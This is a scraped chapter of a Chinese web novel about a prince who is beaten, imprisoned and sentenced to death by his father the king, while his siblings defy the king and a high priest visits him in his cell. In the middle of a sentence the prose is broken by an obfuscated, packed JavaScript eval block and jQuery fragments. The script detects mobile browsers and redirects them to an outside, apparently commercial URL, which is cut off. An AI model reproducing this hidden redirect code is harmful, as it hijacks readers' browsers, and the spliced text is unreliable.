59. 放弃
作品:《月光森林的黑女士》 又是一个热情的晌午,莫嘉娜提着一篮子点心,整理好心情,又热脸贴冷屁股的去找阿拉里克。
她已经吃了不知是多少回冷脸,一回又一回,每次结束后回去,又坐在台阶上将那个破碎的自己重新组装,第二天继续来找阿拉里克。
她并不是每一次都能见到阿拉里克,大多数时候,她吃的都是闭门羹。
但她毫不疲倦,那样卑微的,爱着,祈求对方能够回心转意。
因为这件事,她还跟马斯库大吵了一架。对方觉得她这是在贬低自己,讨好他人,觉得她这样卑微屈膝的恳求也不会有结果。
可是她除了这么做,又还有其他办法吗?
没有…
所以她只能这么做,像大多数被抛弃,却还爱着的人那样,忍不住的将祂捧到云端,自己匍匐在脚下,就换不来一点怜悯。
但没有关系,至少今天,还有热烈的太阳。
她来到阿拉里克的宫殿时,老远就听见宫殿内吵闹声嘈杂,有人在大声尖叫,有人在凶神恶煞地怒斥。还有一道极为熟悉的,压抑着痛苦的哼叫,是阿拉里克。
好像出事了,她加快脚步往前赶,手里的篮子一个没拿稳掉到地上,里面精致的宫廷点心散落一地,她来不及顾及,加速往前赶。
她赶到目的地时,阿拉里克已经被打的全身都是血痕,不成样子,却依然挺直脊梁骨,满头大汗白着脸不肯低下头颅。
“你们在干什么!!居然敢打一位王子,你们的狗命不要了吗?”
她朝着阿拉里克飞奔过来,眼神担忧地在他身上扫来扫去,再看到那些鲜红的血渍,还有被打得开裂的布料时,她再也压抑不住地大声痛哭,指着一群行刑的士兵大声喊叫。
“你们为什么要打他,他是王子啊,是尊贵的王子,你们居然敢打他,我要禀报国王,要让你们付出代价。”
其中一位还举着棍子的士兵满脸鄙夷,冷笑一声说,“莫嘉娜小姐,正因为他是王子,若没有国王的命令,我们哪敢?”
另一位看起来要更严肃,但也帮着解释道,“莫嘉娜小姐,我们也是奉命行事,希望您理解。”
说着,他给了另外一位同僚一个眼神,对方会意,立马上前一只手拉住莫嘉娜,牵制住她乱动的手脚。其余人上前架住阿拉里克,用绳子捆得严严实实,带走了。
走的时候,他的脚步踉踉跄跄,但唯独他的脊梁,自始至终都没有弯下。
“阿拉里克,阿拉里克……”
只余莫嘉娜放声哭泣的声音。
后来,他的这个青梅竹马,为了将他从牢房里弄出来,四处奔走。就像小时候那样,他一无所有,所有的人都嫌弃他是个血统肮脏的王子,唯有莫嘉娜,撑着腰摆着傲娇脸,严严实实将他护在了身后。
空荡荡的黑暗牢房里,血腥味在空气中蔓延,伴随着潮湿潮湿,绵密的霉味,在他的鼻腔打转。仔细听,也许还能听到菌子在生长菌裂。
他其实是有些颓废的,心里的疼盖过了身体上的疼,或者一张细若钢刀的网,一点一点将他缩紧。
他都不知道自己是第多少次被关起来了。只要国王想,他可以轻而易举的捏死自己,就像捏死一只蚂蚁,然后抢走自己心爱的女子。
与此同时,整个王室召开了重大会议,两名王子和一位公主领着一大群宫廷大臣坐在议事厅,与主位上的国王对峙。
“反了,你们居然为了那个逆子,要跟我唱反调!!”
大臣们低着头,他们从来没见过国王发这么大的脾气,虽然他平时脾气也不好。但他像今天这样,气到随口就杀了三四个仆从,还是头一遭。
偏偏,今天塞巴斯蒂安为首,领着瑟薇安和布拉姆,非要跟他对着来。
原因是,国王今日下令处死三王子阿拉里克,还对外声称阿拉里克不是他的亲生儿子。
是他的母亲,那个不知道从哪里来的妓女,不知道用了哪个男人的精华,生下了他。
国王还说这是皇室丑闻,是奇耻大辱,是盯着他颅顶的一根木桩,为了拔掉这根木桩,他下令三日后处死三王子阿拉里克。
塞巴斯蒂安还是头一回这么硬气,他向来都是一个谦逊有礼的王子,前王后把他养的很好,他是一个好儿子,好哥哥。
布拉姆向来玩世不恭,唯独这件事,连他都被气到了。
至于瑟薇安,她虽然不是国王的亲生女儿,但她依旧是这里的公主,是三位王子的妹妹。
国王:“你们站在这里的意思,是想告诉我,你们为了那个杂种,要跟我这个生你们养你们的父王对着来吗?”
塞巴斯蒂安:“是父王您做事太过了。”
布拉姆:“事情都还没有调查清楚,父王您就急着处死阿拉里克,还对外宣称他不是你的儿子,肆意辱骂他的母亲是个妓女,父王…这就是您要教给儿子们的吗?”
瑟薇安更是妙语连珠:“一个巴掌拍不响,您和阿拉里克的母亲难道不是一拍即合才有了他吗?怎么,您是觉得,撒下去的种子还能收得回来?已经长成大树的树苗,流淌着你的血,你以为只要对外宣称那不是你的,就不是你的吗?”
“放肆!!!你贵为公主,是谁教你的这些污言秽语!!”国王震怒,肥肥的大肚子上下抖动,像是怀胎十月,羊水在其中流淌。
可惜他的肚子里根本没有水,撑不起船只,只有厚厚的脂肪,蒙蔽了他愚蠢的脑子。
另一边,摩迪凯收到了瑟薇安的请求只身前往牢狱。
他是去当说客的,尽管不是很情愿。但他有唯一不能拒绝的东西,瑟薇安的恳求。
已经,数不清是多少次,阿拉里克被关在这里。
前王后死后的很长一段时间里,他无依无靠,哪怕做错的只是一件微不足道的小事,也会被关起来。如果抓到他的是女仆,那他一般会被关在房间里,不被允许外出。但如果抓到他做错事的是国王,他就会被关在牢狱,三天三夜都是小事。
他早就习以为常,以至于当摩迪凯出现时,他毫不在乎地鄙夷了两句
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17238516|195876||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,“这不是大祭司吗,怎么有空来看我这个被关禁闭的王子啊?”
“呵…”摩迪凯眯着眼睛笑得正欢,“希望当你知道外面发生了什么的时候,你还能笑得这么开心?”
“哦?”他满脸不屑,“那一定是发生了什么对我很不利的事,所以才会让你这么高兴。”
“真聪明呢,殿下。”他蹲下身来,眼睛缝里的目光直视着阿拉里克略显苍白的脸,“你应该知道,他为什么打你关你吧?”
“呵呵…”他怎么会不知道,不就是从木文萨的房间里出来吗?他觉得抱着自己的老婆睡,天经地义,是那个老男人,那个老男人才是第三者。
但这些话他说不出口,他只能仰天大笑,也不知道在笑自己的无能,还是嘲笑命运的不公。
“其实你也还没走到绝路,殿下。”
摩迪凯的声音打断了他的笑,在听完后,他笑得越发肆意。
“那你倒是说说,什么是绝路,要走到哪里,才能算得上是绝路?”
摩迪凯的眯眯眼微微上翘,嘴角也跟着抬了起来,“绝路,就是死亡,失去呼吸,变成灵魂,眼睁睁的看着自己的爱人嫁给别人又无能为力。”
“什么意思?”阿拉里克眉头一皱。
摩迪凯笑出声,“国王要杀你,他对外宣称,你不是他的儿子。说是你那个妓女母亲,和外面连名字都不知道是谁的男人生下了你。”
“呵……他真能说得出口,那你呢,今天来找我,只是为了看我的笑话吗。”
“如果没有瑟薇安来找我的话,那我今天本应该是来看你笑话的。”
“哦?”阿拉里克似笑非笑地说,“所以是那丫头拜托你来找我,想救我?”
“也不算吧,我这个人向来尊重他人命运,想活还是想死,全凭你一念之间。”
“我就知道你不会有那么好心,那你刚刚说的,还没到绝路是什么意思,难不成你还有别的办法?”
“承认自己的错误,保证你绝不会干扰他们的婚礼,安安稳稳娶莫嘉娜,这是你唯一的出路,殿下。”
“不可能!!”他没有一丝犹豫,只要涉及到木文萨,他不会有一丝犹豫。
“天无绝人之路,他是必须要娶到绿茵公主的,那就让他娶。在这场婚礼背后,能够为我们带来很多东西,为你带来至高无上的权利,为我带来梦寐以求的新娘,这些你都不心动吗?
更何况,只要等这场婚礼结束,等你掌握了一切,到时候你想怎么做都可以。你爱慕那个女子,就架空国王的权力,让他的势力对你俯首称臣,到时候什么是回不来的?”
他冷冰冰的话冷冰冰地砸下,这些道理,阿拉里克并非不懂。他只是不想眼睁睁的看着木文萨嫁给别人,忍不住的想要从中作梗,像小丑一样挣扎。
就像他明明知道,只要他频繁与木文萨用那种方式来往,就总会有暴露的那一天。
可他还是会忍不住心怀侥幸,企图事情在某一刻会有转机。
终究,是他错了。

